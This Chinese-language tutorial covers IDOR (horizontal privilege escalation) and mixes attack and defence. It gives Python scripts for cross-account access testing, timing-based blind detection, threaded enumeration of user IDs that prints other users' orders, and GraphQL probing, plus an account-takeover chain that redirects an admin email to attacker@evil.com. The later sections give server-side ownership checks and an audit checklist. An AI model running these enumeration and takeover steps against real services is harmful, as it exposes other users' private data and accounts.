一、IDOR 基础概念
1.1 什么是水平越权
水平越权(Horizontal Privilege Escalation),又称 IDOR,是指攻击者与目标用户处于相同权限级别,但通过操纵请求参数访问了其他用户的数据。
┌──────────┐ ┌──────────┐
│ User A │ │ User B │ ← 同一权限级别
│ (普通用户) │ │ (普通用户) │
└────┬─────┘ └────┬─────┘
│ │
│ GET /api/orders?user_id=42
│ 🔴 如果 user_id=42 是 B 的订单
│ 且服务端没校验 "当前用户 == 42"
│ → A 就越权读到了 B 的数据
▼
┌──────────────────────┐
│ Service /api/orders │
│ 检查: 是普通用户 ✓ │
│ 未检查: 是不是自己的 │ ← 缺陷
└──────────────────────┘
1.2 为什么 IDOR 是第一大安全威胁
OWASP Top 10(2021)将 Broken Access Control(访问控制失效)列为 #1 风险,而 IDOR 是其中最常见、危害最广的子类别之一:
- 普遍性高:几乎所有多用户系统都可能存在
- 危害严重:可泄露敏感数据、窃取资金、修改他人账号
- 检测困难:自动化扫描器几乎无法识别,需要业务逻辑理解
- 修复成本低:只需在服务端加一层授权校验
二、IDOR 的常见形式
2.1 URL 参数直接引用对象 ID
GET /api/v1/users/1001/orders
GET /api/v1.0/users?id=1001
POST /api/v1/invoices/view
Content-Type: application/json
{
"invoice_id": "INV-2024-0001"
}
2.2 隐藏在请求体或头部
POST /api/payment/refund
Content-Type: application/json
X-Target-User-Id: 42
{
"order_id": "ORD-999",
"amount": 99.99
}
2.3 文件名或路径参数
GET /api/download?file_id=FILE-2023-0137
GET /static/uploads/user_872_avatar.png
GET /attachments/project-123/budget.xlsx
2.4 弱引用(Sequential IDs)
使用自增整数作为 ID 是最容易被遍历的:
/user/1
/user/2
/user/3
...
/user/99999
三、漏洞挖掘方法论
3.1 核心思路
凡是请求中出现了"指定对象"的参数,就要怀疑 IDOR。 关注以下关键词:
id, userId, user_id, targetId, target_id
orderId, order_id, transactionId
fileId, file_id, documentId, doc_id
invoiceId, invoice_id
chatId, conversationId, conversation_id
messageId, message_id
projectId, project_id
ticketId, ticket_id
sessionId, session_id
accountId, account_id
customerId, customer_id
3.2 挖掘步骤
第一步:身份切换
准备两个账号 A 和 B:
- A 的数据:user_id=100,有订单 1,2,3
- B 的数据:user_id=200,有订单 4,5,6
第二步:抓包修改 ID
- 用 A 登录,抓取访问订单列表的请求
- 将 URL 中的
user_id=100改为user_id=200 - 如果返回了 B 的订单列表 → 存在 IDOR
第三步:自动化遍历
import requests
import sys
def find_idor(base_url: str, token_a: str, token_b: str, endpoint: str):
"""
检测 IDOR:用 token_a 访问本该属于 token_b 的资源
"""
# 先用 token_b 获取 B 拥有的资源 ID
headers_b = {'Authorization': f'Bearer {token_b}'}
b_resource = requests.get(
f'{base_url}/{endpoint}', headers=headers_b
).json()
b_resource_id = b_resource['data']['id']
# 用 token_a 尝试访问同一个资源
headers_a = {'Authorization': f'Bearer {token_a}'}
response = requests.get(
f'{base_url}/{endpoint}/{b_resource_id}', headers=headers_a
)
if response.status_code == 200 and response.json().get('data'):
print(f"[!] IDOR found on /{endpoint}/{b_resource_id}")
print(f"[!] User A can access User B's resource!")
return True
else:
print(f"[√] /{endpoint}/{b_resource_id} - access properly denied")
return False
# 使用示例
A_TOKEN = "eyJhbGciOi..."
B_TOKEN = "eyJhbGci..."
find_idor('https://api.example.com', A_TOKEN, B_TOKEN, 'orders')
3.3 盲 IDOR(Blind IDOR)
有些服务端会返回统一的错误页面(如"无权限"),但:
- 响应时间差异:有权限 vs 无权限,DB 查询耗时不同
- 响应长度差异:包含错误详情 vs 通用错误
- HTTP 状态码:200 vs 403 vs 404
import requests
import time
def detect_blind_idor(base_url: str, token_a: str, resource_id: str) -> bool:
"""
通过响应时间差异检测盲 IDOR
"""
headers = {'Authorization': f'Bearer {token_a}'}
timings = []
for _ in range(5):
start = time.time()
response = requests.get(
f'{base_url}/resource/{resource_id}', headers=headers
)
timings.append(time.time() - start)
# 有权限访问时会执行 DB 查询,耗时更长
# 无权限时可能直接拦截,耗时更短
avg_time = sum(timings) / len(timings)
print(f"[*] Response time avg for {resource_id}: {avg_time:.3f}s")
# 需要对比已知有权/无权资源的响应时间基线
# 这里只是一个示例
return avg_time > 0.5
def establish_baseline(base_url: str, token: str, accessible_ids: list, inaccessible_ids: list):
headers = {'Authorization': f'Bearer {token}'}
def avg_time(resource_id):
times = []
for _ in range(10):
start = time.time()
requests.get(f'{base_url}/resource/{resource_id}', headers=headers)
times.append(time.time() - start)
return sum(times) / len(times)
accessible_times = [avg_time(rid) for rid in accessible_ids]
inaccessible_times = [avg_time(rid) for rid in inaccessible_ids]
print(f"[*] Accessible baseline: {sum(accessible_times)/len(accessible_times):.3f}s")
print(f"[*] Inaccessible baseline: {sum(inaccessible_times)/len(inaccessible_times):.3f}s")
3.4 批量 IDOR 遍历
import requests
import threading
from queue import Queue
BATCH_ENDPOINT = 'https://api.example.com/v1/users/{id}/orders'
TOKEN = sys.argv[1]
def worker(q):
headers = {'Authorization': f'Bearer {TOKEN}'}
while True:
user_id = q.get()
if user_id is None:
break
resp = requests.get(BATCH_ENDPOINT.format(id=user_id), headers=headers, timeout=5)
data = resp.json()
if resp.status_code == 200 and 'orders' in data and len(data['orders']) > 0:
print(f"[+] User {user_id}: {len(data['orders'])} orders found - {data['orders'][0]}")
q.task_done()
q = Queue()
threads = [threading.Thread(target=worker, args=(q,)) for _ in range(10)]
for t in threads:
t.start()
for i in range(1, 10000):
q.put(i)
for _ in threads:
q.put(None)
q.join()
四、GraphQL 中的 IDOR
GraphQL 同样容易出现 IDOR,甚至因为其灵活性而更危险:
# 攻击者可以查询任意用户信息
query GetAnyUser($userId: ID!) {
user(id: $userId) {
name
email
phone
address
paymentMethods {
last4
expiry
}
orders {
total
items
}
}
}
# variables: { "userId": "user-99999" }
4.1 GraphQL IDOR 检测
import requests
GRAPHQL_ENDPOINT = 'https://api.example.com/graphql'
TOKEN = 'your_token_here'
INTROSPECTION_QUERY = """
query Introspect {
__schema {
queryType { fields { name args { name type { name kind } } } }
}
}
"""
def extract_id_field_names(schema: dict) -> list:
"""从 introspection 结果中提取可能的 ID 参数名"""
id_args = set()
for field in schema['data']['__schema']['queryType']['fields']:
for arg in field['args']:
type_info = arg['type']
if type_info.get('kind') == 'NON_NULL':
inner = type_info.get('ofType', {})
if inner.get('name') in ('ID', 'Int'):
id_args.add(arg['name'])
return list(id_args)
def test_graphql_idor(token: str, query_name: str, id_arg: str, test_ids: list):
headers = {'Authorization': f'Bearer {token}'}
for test_id in test_ids:
query = f"""
query Test{{
{query_name}({id_arg}: "{test_id}") {{
__typename
id
}}
}}
"""
resp = requests.post(
GRAPHQL_ENDPOINT,
json={'query': query},
headers=headers,
)
data = resp.json()
if data.get('data', {}).get(query_name):
print(f"[+] {query_name}({id_arg}={test_id}): accessible!")
print(f" Response: {data['data'][query_name]}")
五、IDOR 结合其他漏洞
5.1 IDOR + 文件上传
POST /api/upload
Content-Type: multipart/form-data
------Boundary
Content-Disposition: form-data; name="file"; filename="avatar.png"
Content-Disposition: form-data; name="targetUserId"; value="999"
<file content>
------Boundary--
攻击者可以将自己的头像上传到其他用户的账号下。
5.2 IDOR + 订单操作
POST /api/order/refund
Content-Type: application/json
{
"orderId": "ORD-victim-001",
"reason": "not received",
"refundAmount": 100.00
}
5.3 IDOR + 权限提权链
1. 注册普通用户账号 (user_id=777)
2. IDOR 访问 /api/users/admin/preferences
3. 修改 admin 的 email 为 attacker@evil.com
4. 触发密码找回流程 → 邮件发到了攻击者邮箱
5. 设置新密码 → 接管 admin 账号
六、防御方案
6.1 服务端强制授权校验(核心原则)
永远不要信任客户端传入的资源归属参数。
# 🔴 错误实现
@app.get('/api/orders/{order_id}')
def get_order(order_id: int):
# 直接用 path 中的 order_id 查单,没有校验归属
return db.query(Order).filter(Order.id == order_id).first()
# ✅ 正确实现
@app.get('/api/orders/{order_id}')
def get_order(order_id: int, current_user: User = Depends(get_current_user)):
# 必须校验:这个订单是否属于当前用户
order = db.query(Order).filter(
Order.id == order_id,
Order.user_id == current_user.id, # 关键!
).first()
if not order:
raise HTTPException(status_code=404, detail='order not found')
return order
6.2 使用 UUID 替代自增 ID
虽然 UUID 不能从根本上解决 IDOR(仍然需要授权校验),但可以让遍历变得更困难:
import uuid
from sqlalchemy import Column, String
class Order(Base):
__tablename__ = 'orders'
id = Column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
# ...
6.3 对象级授权中间件
// Express 中间件:统一做资源归属校验
function requireOwnership(resourceResolver, ownerExtractor) {
return async (req, res, next) => {
const resourceId = req.params.id || req.body.id || req.query.id;
if (!resourceId) {
return res.status(400).json({ error: 'resource id required' });
}
const resource = await resourceResolver(resourceId);
if (!resource) {
return res.status(404).json({ error: 'not found' });
}
const currentOwnerId = ownerExtractor(req);
if (resource.owner_id !== currentOwnerId) {
// 不透露资源是否存在,统一返回 404
return res.status(404).json({ error: 'not found' });
}
req.resource = resource;
next();
};
}
// 使用
app.get('/api/orders/:id', requireOwnership(
(id) => db.orders.findById(id),
(req) => req.user.id,
), (req, res) => {
res.json(req.resource);
});
6.4 多租户架构隔离
-- 每一行都要有 tenant_id
CREATE TABLE orders (
id BIGSERIAL PRIMARY KEY,
tenant_id VARCHAR(36) NOT NULL,
user_id VARCHAR(36) NOT NULL,
amount DECIMAL(10,2),
created_at TIMESTAMP DEFAULT NOW(),
FOREIGN KEY (tenant_id) REFERENCES tenants(id),
FOREIGN KEY (user_id) REFERENCES users(id)
);
-- 所有查询都强制带 tenant_id
SELECT * FROM orders WHERE id = 123 AND tenant_id = 'current-tenant-uuid';
6.5 返回统一错误码
// ✅ 无论资源不存在还是无权限,都返回 404,避免攻击者探测资源存在性
function notFound(res) {
return res.status(404).json({ error: 'resource not found' });
}
// 攻击者无法区分:
// - 资源不存在 → 404
// - 资源存在但我无权访问 → 404
七、IDOR 审计清单
- 所有 API 端点是否都校验了资源归属
- 是否使用了统一的授权校验中间件
- 是否有跳过授权校验的调试后门
- GraphQL 是否有字段级授权
- 文件上传下载是否做了归属校验
- 批量操作是否过滤了不属于自己的资源
- 返回统一的错误码避免信息泄露
- 日志中是否避免泄露资源 ID
- 是否定期做 IDOR 自动化扫描
- 是否有完整的权限模型文档
八、总结
IDOR 不是一个"复杂"的漏洞——它的成因就是开发忘记在服务端做归属校验。但正因为简单,它无处不在。防御 IDOR 的核心原则:
- 服务端是唯一的信任边界,客户端说什么都不算
- 所有资源访问都必须带归属条件(WHERE user_id = ?)
- 统一的授权中间件,避免遗漏
- 默认拒绝(deny by default),显式授予权限
九、参考资料
- OWASP IDOR Cheat Sheet
- PortSwigger Web Security Academy - IDOR
- Hacksplaining Insecure Direct Object Reference
- CWE-639: Authorization Bypass Through User-Controlled Key
- Bugcrowd IDOR Writeups Collection